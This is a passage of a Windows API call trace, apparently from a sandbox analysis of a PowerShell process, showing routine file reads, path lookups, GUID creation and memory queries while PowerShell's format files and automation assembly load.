	[0065.025] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0xfea320da, Data2=0x6d69, Data3=0x413d, Data4=([0]=0xbd, [1]=0x2a, [2]=0xb0, [3]=0xba, [4]=0x4, [5]=0xf8, [6]=0x79, [7]=0xdd))) returned 0x0
	[0065.026] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0x891fdba8, Data2=0x2fb, Data3=0x4b06, Data4=([0]=0x93, [1]=0x2, [2]=0xbc, [3]=0x75, [4]=0x60, [5]=0x6f, [6]=0x7d, [7]=0xaf))) returned 0x0
	[0065.027] SetErrorMode (uMode=0x1) returned 0x1
	[0065.030] ReadFile (in: hFile=0x310, lpBuffer=0x342fa88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14ce78, lpOverlapped=0x0 | out: lpBuffer=0x342fa88*, lpNumberOfBytesRead=0x14ce78*=0x1000, lpOverlapped=0x0) returned 1
	[0065.030] ReadFile (in: hFile=0x310, lpBuffer=0x342fa88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14ce78, lpOverlapped=0x0 | out: lpBuffer=0x342fa88*, lpNumberOfBytesRead=0x14ce78*=0x1000, lpOverlapped=0x0) returned 1
	[0065.030] ReadFile (in: hFile=0x310, lpBuffer=0x342fa88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14ce78, lpOverlapped=0x0 | out: lpBuffer=0x342fa88*, lpNumberOfBytesRead=0x14ce78*=0x1000, lpOverlapped=0x0) returned 1
	[0065.031] ReadFile (in: hFile=0x310, lpBuffer=0x342fa88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14ce78, lpOverlapped=0x0 | out: lpBuffer=0x342fa88*, lpNumberOfBytesRead=0x14ce78*=0x1000, lpOverlapped=0x0) returned 1
	[0065.031] ReadFile (in: hFile=0x310, lpBuffer=0x342fa88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14ce78, lpOverlapped=0x0 | out: lpBuffer=0x342fa88*, lpNumberOfBytesRead=0x14ce78*=0x1000, lpOverlapped=0x0) returned 1
	[0065.031] ReadFile (in: hFile=0x310, lpBuffer=0x342fa88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14ce78, lpOverlapped=0x0 | out: lpBuffer=0x342fa88*, lpNumberOfBytesRead=0x14ce78*=0x1000, lpOverlapped=0x0) returned 1
	[0065.031] ReadFile (in: hFile=0x310, lpBuffer=0x342fa88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14ce78, lpOverlapped=0x0 | out: lpBuffer=0x342fa88*, lpNumberOfBytesRead=0x14ce78*=0x1000, lpOverlapped=0x0) returned 1
	[0065.032] ReadFile (in: hFile=0x310, lpBuffer=0x342fa88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14ce78, lpOverlapped=0x0 | out: lpBuffer=0x342fa88*, lpNumberOfBytesRead=0x14ce78*=0x1000, lpOverlapped=0x0) returned 1
	[0065.032] ReadFile (in: hFile=0x310, lpBuffer=0x342fa88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14ce78, lpOverlapped=0x0 | out: lpBuffer=0x342fa88*, lpNumberOfBytesRead=0x14ce78*=0x1000, lpOverlapped=0x0) returned 1
	[0065.032] ReadFile (in: hFile=0x310, lpBuffer=0x342fa88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14ce78, lpOverlapped=0x0 | out: lpBuffer=0x342fa88*, lpNumberOfBytesRead=0x14ce78*=0x1000, lpOverlapped=0x0) returned 1
	[0065.032] ReadFile (in: hFile=0x310, lpBuffer=0x342fa88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14ce78, lpOverlapped=0x0 | out: lpBuffer=0x342fa88*, lpNumberOfBytesRead=0x14ce78*=0x1000, lpOverlapped=0x0) returned 1
	[0065.032] ReadFile (in: hFile=0x310, lpBuffer=0x342fa88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14ce78, lpOverlapped=0x0 | out: lpBuffer=0x342fa88*, lpNumberOfBytesRead=0x14ce78*=0x1000, lpOverlapped=0x0) returned 1
	[0065.033] ReadFile (in: hFile=0x310, lpBuffer=0x342fa88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14ce78, lpOverlapped=0x0 | out: lpBuffer=0x342fa88*, lpNumberOfBytesRead=0x14ce78*=0x1000, lpOverlapped=0x0) returned 1
	[0065.033] ReadFile (in: hFile=0x310, lpBuffer=0x342fa88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14ce78, lpOverlapped=0x0 | out: lpBuffer=0x342fa88*, lpNumberOfBytesRead=0x14ce78*=0x1000, lpOverlapped=0x0) returned 1
	[0065.033] ReadFile (in: hFile=0x310, lpBuffer=0x342fa88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14ce78, lpOverlapped=0x0 | out: lpBuffer=0x342fa88*, lpNumberOfBytesRead=0x14ce78*=0x1000, lpOverlapped=0x0) returned 1
	[0065.034] ReadFile (in: hFile=0x310, lpBuffer=0x342fa88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14ce78, lpOverlapped=0x0 | out: lpBuffer=0x342fa88*, lpNumberOfBytesRead=0x14ce78*=0x1000, lpOverlapped=0x0) returned 1
	[0065.034] ReadFile (in: hFile=0x310, lpBuffer=0x342fa88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14ce78, lpOverlapped=0x0 | out: lpBuffer=0x342fa88*, lpNumberOfBytesRead=0x14ce78*=0xbce, lpOverlapped=0x0) returned 1
	[0065.034] ReadFile (in: hFile=0x310, lpBuffer=0x342f1be, nNumberOfBytesToRead=0x32, lpNumberOfBytesRead=0x14ce78, lpOverlapped=0x0 | out: lpBuffer=0x342f1be*, lpNumberOfBytesRead=0x14ce78*=0x0, lpOverlapped=0x0) returned 1
	[0065.034] ReadFile (in: hFile=0x310, lpBuffer=0x342fa88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x14ce78, lpOverlapped=0x0 | out: lpBuffer=0x342fa88*, lpNumberOfBytesRead=0x14ce78*=0x0, lpOverlapped=0x0) returned 1
	[0065.034] CloseHandle (hObject=0x310) returned 1
	[0065.034] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x14cbc0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44
	[0065.034] SetErrorMode (uMode=0x1) returned 0x1
	[0065.035] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\dotnettypes.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x14ce20 | out: lpFileInformation=0x14ce20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67e0582f, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67e0582f, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe5e29f95, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x11bce)) returned 1
	[0065.035] SetErrorMode (uMode=0x1) returned 0x1
	[0065.035] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x14cb50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44
	[0065.035] CoTaskMemFree (pv=0x2850f40) 
	[0065.035] RegCloseKey (hKey=0x310) returned 0x0
	[0065.035] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x14cb50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44
	[0065.035] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x14ca00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44
	[0065.038] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0x7610f78, Data2=0x6411, Data3=0x4a3c, Data4=([0]=0x9b, [1]=0x74, [2]=0xa2, [3]=0x1, [4]=0x9d, [5]=0xf2, [6]=0xf6, [7]=0x4e))) returned 0x0
	[0065.038] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0xafac592f, Data2=0xe428, Data3=0x48e4, Data4=([0]=0x91, [1]=0x36, [2]=0x47, [3]=0x76, [4]=0x95, [5]=0x78, [6]=0x16, [7]=0xf1))) returned 0x0
	[0065.039] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0xe4d97648, Data2=0xfca4, Data3=0x4fb6, Data4=([0]=0x8e, [1]=0x83, [2]=0x19, [3]=0xfa, [4]=0x39, [5]=0x16, [6]=0xb4, [7]=0x42))) returned 0x0
	[0065.039] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0x48e8ba0c, Data2=0x93e0, Data3=0x4dee, Data4=([0]=0xb8, [1]=0x8a, [2]=0xcd, [3]=0x8c, [4]=0x44, [5]=0x41, [6]=0x7f, [7]=0xd8))) returned 0x0
	[0065.040] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0x6988b28c, Data2=0xf52a, Data3=0x4278, Data4=([0]=0xa1, [1]=0xa0, [2]=0x8, [3]=0xc1, [4]=0x4a, [5]=0x54, [6]=0x1b, [7]=0x49))) returned 0x0
	[0065.040] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0xe3928923, Data2=0xb9e1, Data3=0x4dcf, Data4=([0]=0x9d, [1]=0xa0, [2]=0x66, [3]=0xd, [4]=0xef, [5]=0xce, [6]=0xb, [7]=0x60))) returned 0x0
	[0065.041] VirtualQuery (in: lpAddress=0x14bae0, lpBuffer=0x14c9a0, dwLength=0x30 | out: lpBuffer=0x14c9a0*(BaseAddress=0x14b000, AllocationBase=0xd0000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0065.042] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0xe170c387, Data2=0x295d, Data3=0x4d29, Data4=([0]=0x98, [1]=0xa9, [2]=0x87, [3]=0x2a, [4]=0x11, [5]=0xe5, [6]=0x7, [7]=0xaf))) returned 0x0
	[0065.042] VirtualQuery (in: lpAddress=0x14bae0, lpBuffer=0x14c9a0, dwLength=0x30 | out: lpBuffer=0x14c9a0*(BaseAddress=0x14b000, AllocationBase=0xd0000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0065.043] VirtualQuery (in: lpAddress=0x14bae0, lpBuffer=0x14c9a0, dwLength=0x30 | out: lpBuffer=0x14c9a0*(BaseAddress=0x14b000, AllocationBase=0xd0000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0065.044] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0xf361e54, Data2=0x77e0, Data3=0x4831, Data4=([0]=0xb3, [1]=0x30, [2]=0x26, [3]=0xb2, [4]=0x4a, [5]=0xe7, [6]=0x4a, [7]=0xc1))) returned 0x0
	[0065.045] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0xc421c4c6, Data2=0xe369, Data3=0x4bf1, Data4=([0]=0x97, [1]=0x28, [2]=0xc3, [3]=0xfe, [4]=0xa0, [5]=0xbc, [6]=0x11, [7]=0x8a))) returned 0x0
	[0065.046] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0x7033e068, Data2=0x1cfc, Data3=0x47c5, Data4=([0]=0xae, [1]=0x99, [2]=0x3d, [3]=0x78, [4]=0xd2, [5]=0x8e, [6]=0xa3, [7]=0xa6))) returned 0x0
	[0065.046] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0xe45fa012, Data2=0xac0d, Data3=0x4847, Data4=([0]=0xaf, [1]=0x87, [2]=0xb8, [3]=0x21, [4]=0x7a, [5]=0xb1, [6]=0xe1, [7]=0xfc))) returned 0x0
	[0065.047] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0xe139401a, Data2=0xce68, Data3=0x4650, Data4=([0]=0x81, [1]=0x91, [2]=0x11, [3]=0x7d, [4]=0x2, [5]=0x58, [6]=0x3b, [7]=0xc7))) returned 0x0
	[0065.052] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0x2cf89cc9, Data2=0x34af, Data3=0x4349, Data4=([0]=0x82, [1]=0x9, [2]=0x40, [3]=0xb4, [4]=0xaa, [5]=0xbf, [6]=0x44, [7]=0x75))) returned 0x0
	[0065.052] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0x59d166e2, Data2=0xf59, Data3=0x4151, Data4=([0]=0x9f, [1]=0xcc, [2]=0xf3, [3]=0xd9, [4]=0x91, [5]=0x47, [6]=0x12, [7]=0x7d))) returned 0x0
	[0065.053] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0x4325c66e, Data2=0x8cca, Data3=0x40b8, Data4=([0]=0x91, [1]=0x9a, [2]=0x59, [3]=0xef, [4]=0xd7, [5]=0x95, [6]=0x27, [7]=0xfa))) returned 0x0
	[0065.054] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0x76246aee, Data2=0xd0a5, Data3=0x4339, Data4=([0]=0xb2, [1]=0xf8, [2]=0x58, [3]=0x6a, [4]=0x39, [5]=0x28, [6]=0x39, [7]=0x98))) returned 0x0
	[0065.054] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0x60b18b07, Data2=0xb4f7, Data3=0x48c7, Data4=([0]=0x85, [1]=0x5, [2]=0x26, [3]=0x63, [4]=0xf1, [5]=0x2f, [6]=0xa1, [7]=0xea))) returned 0x0
	[0065.055] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0x1be6d66, Data2=0x208f, Data3=0x4126, Data4=([0]=0x88, [1]=0xb, [2]=0x3a, [3]=0x7, [4]=0x9c, [5]=0xf2, [6]=0xa2, [7]=0xe6))) returned 0x0
	[0065.056] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0x45f6e871, Data2=0x1211, Data3=0x4b53, Data4=([0]=0xb6, [1]=0x81, [2]=0xaf, [3]=0x84, [4]=0xb1, [5]=0xf5, [6]=0x57, [7]=0x7a))) returned 0x0
	[0065.057] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0x9657beb7, Data2=0xe3fa, Data3=0x46a0, Data4=([0]=0xa7, [1]=0x75, [2]=0x5, [3]=0x97, [4]=0x4f, [5]=0xd, [6]=0x3d, [7]=0x96))) returned 0x0
	[0065.058] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0x795d057a, Data2=0xa21a, Data3=0x4509, Data4=([0]=0xb4, [1]=0xc5, [2]=0xc, [3]=0xfd, [4]=0xbb, [5]=0xc4, [6]=0x23, [7]=0xfe))) returned 0x0
	[0065.059] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0x2942e350, Data2=0x276b, Data3=0x4d56, Data4=([0]=0xbc, [1]=0xbc, [2]=0x10, [3]=0x90, [4]=0xe4, [5]=0x99, [6]=0xea, [7]=0x45))) returned 0x0
	[0065.059] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0x634102f2, Data2=0x65eb, Data3=0x43e1, Data4=([0]=0xa6, [1]=0x88, [2]=0xdc, [3]=0x35, [4]=0x25, [5]=0xc7, [6]=0x4f, [7]=0xd9))) returned 0x0
	[0065.060] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0x3086c0fe, Data2=0xae01, Data3=0x4298, Data4=([0]=0xa0, [1]=0x3d, [2]=0xc3, [3]=0x9d, [4]=0x25, [5]=0x95, [6]=0xf3, [7]=0x57))) returned 0x0
	[0065.060] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0x1027ea52, Data2=0xa823, Data3=0x472c, Data4=([0]=0xbc, [1]=0x3b, [2]=0x75, [3]=0x4d, [4]=0x10, [5]=0xd6, [6]=0x17, [7]=0x1b))) returned 0x0
	[0065.061] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0x1811ff5c, Data2=0x51d1, Data3=0x48ae, Data4=([0]=0x88, [1]=0x15, [2]=0xef, [3]=0x6a, [4]=0xa1, [5]=0xbf, [6]=0xd2, [7]=0xcb))) returned 0x0
	[0065.062] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0x4a437453, Data2=0x60e5, Data3=0x4a16, Data4=([0]=0x99, [1]=0xc9, [2]=0xbc, [3]=0xb4, [4]=0x49, [5]=0x2, [6]=0x41, [7]=0x26))) returned 0x0
	[0065.063] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0xe7b014a3, Data2=0x2786, Data3=0x4bef, Data4=([0]=0xaf, [1]=0xd, [2]=0x59, [3]=0x84, [4]=0xb4, [5]=0xf4, [6]=0x45, [7]=0x21))) returned 0x0
	[0065.063] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0x830286d7, Data2=0x6cf3, Data3=0x4f86, Data4=([0]=0xbd, [1]=0x2b, [2]=0xb4, [3]=0xcf, [4]=0xeb, [5]=0x97, [6]=0xcb, [7]=0x8a))) returned 0x0
	[0065.064] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0xbfc03878, Data2=0xd363, Data3=0x4668, Data4=([0]=0xaa, [1]=0xb9, [2]=0xca, [3]=0xf6, [4]=0x7c, [5]=0x46, [6]=0x6, [7]=0x6d))) returned 0x0
	[0065.064] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0x5d62b6a8, Data2=0x552, Data3=0x4075, Data4=([0]=0xae, [1]=0x32, [2]=0x2d, [3]=0x54, [4]=0x1c, [5]=0x55, [6]=0x6d, [7]=0x9a))) returned 0x0
	[0065.065] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0x182bbf9, Data2=0x84a6, Data3=0x4f9f, Data4=([0]=0xb4, [1]=0xd6, [2]=0x76, [3]=0x9e, [4]=0x8e, [5]=0x4c, [6]=0xf7, [7]=0xef))) returned 0x0
	[0065.066] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0xc3098d7d, Data2=0xfb9, Data3=0x4477, Data4=([0]=0xa9, [1]=0xc7, [2]=0xdd, [3]=0x21, [4]=0x56, [5]=0x56, [6]=0xfe, [7]=0xb1))) returned 0x0
	[0065.066] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0xc890ae08, Data2=0x27e5, Data3=0x49eb, Data4=([0]=0x97, [1]=0xf4, [2]=0x30, [3]=0x18, [4]=0xe2, [5]=0x75, [6]=0x34, [7]=0x39))) returned 0x0
	[0065.067] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0x8a7ccf02, Data2=0x6bea, Data3=0x4ff0, Data4=([0]=0x8b, [1]=0xd3, [2]=0xa4, [3]=0x64, [4]=0xff, [5]=0x88, [6]=0xa0, [7]=0xf3))) returned 0x0
	[0065.068] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0x9a917fe5, Data2=0xcbd8, Data3=0x4d93, Data4=([0]=0x90, [1]=0x1c, [2]=0x4d, [3]=0xc0, [4]=0x33, [5]=0xec, [6]=0x4f, [7]=0xcb))) returned 0x0
	[0065.074] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0x195080a4, Data2=0xc0f6, Data3=0x464c, Data4=([0]=0xa1, [1]=0x4, [2]=0x15, [3]=0xe5, [4]=0x82, [5]=0xbb, [6]=0xb2, [7]=0x27))) returned 0x0
	[0065.078] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0x21350842, Data2=0x3cb9, Data3=0x43fb, Data4=([0]=0xbd, [1]=0x8c, [2]=0xbc, [3]=0xdd, [4]=0x1f, [5]=0xd6, [6]=0xe7, [7]=0x5a))) returned 0x0
	[0065.078] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0xe841d41b, Data2=0x2007, Data3=0x4a3d, Data4=([0]=0xbb, [1]=0x27, [2]=0xa0, [3]=0x48, [4]=0x8f, [5]=0x11, [6]=0x88, [7]=0x18))) returned 0x0
	[0065.078] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0xe7b772fb, Data2=0xd1a4, Data3=0x434d, Data4=([0]=0x95, [1]=0xe5, [2]=0xcd, [3]=0xa4, [4]=0xf7, [5]=0xdd, [6]=0x86, [7]=0xd6))) returned 0x0
	[0065.078] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0x475a9f41, Data2=0x3b45, Data3=0x4313, Data4=([0]=0x8d, [1]=0xaa, [2]=0x72, [3]=0x7a, [4]=0x6e, [5]=0x9a, [6]=0xe2, [7]=0xd2))) returned 0x0
	[0065.087] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0x306bc4e8, Data2=0xb36b, Data3=0x4f14, Data4=([0]=0x95, [1]=0xdc, [2]=0xa4, [3]=0xb0, [4]=0xaf, [5]=0xa2, [6]=0xa5, [7]=0x68))) returned 0x0
	[0065.088] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0xf5f4b135, Data2=0x8ef3, Data3=0x4c85, Data4=([0]=0x94, [1]=0x16, [2]=0x96, [3]=0x1d, [4]=0x87, [5]=0x89, [6]=0x9b, [7]=0xe4))) returned 0x0
	[0065.143] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14c5d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.143] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14c520, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.143] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14c520, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.144] CoCreateGuid (in: pguid=0x14d130 | out: pguid=0x14d130*(Data1=0x643e2651, Data2=0xea64, Data3=0x49af, Data4=([0]=0x9c, [1]=0xe4, [2]=0x80, [3]=0x31, [4]=0x57, [5]=0x93, [6]=0x21, [7]=0x1c))) returned 0x0
	[0065.144] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14c210, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.144] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14c160, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.144] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14c160, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.145] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14c210, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.145] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14c160, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.145] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14c160, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.145] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14c5d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.145] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14c520, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.145] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14c520, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.146] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14bcc0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0065.146] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14bc10, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
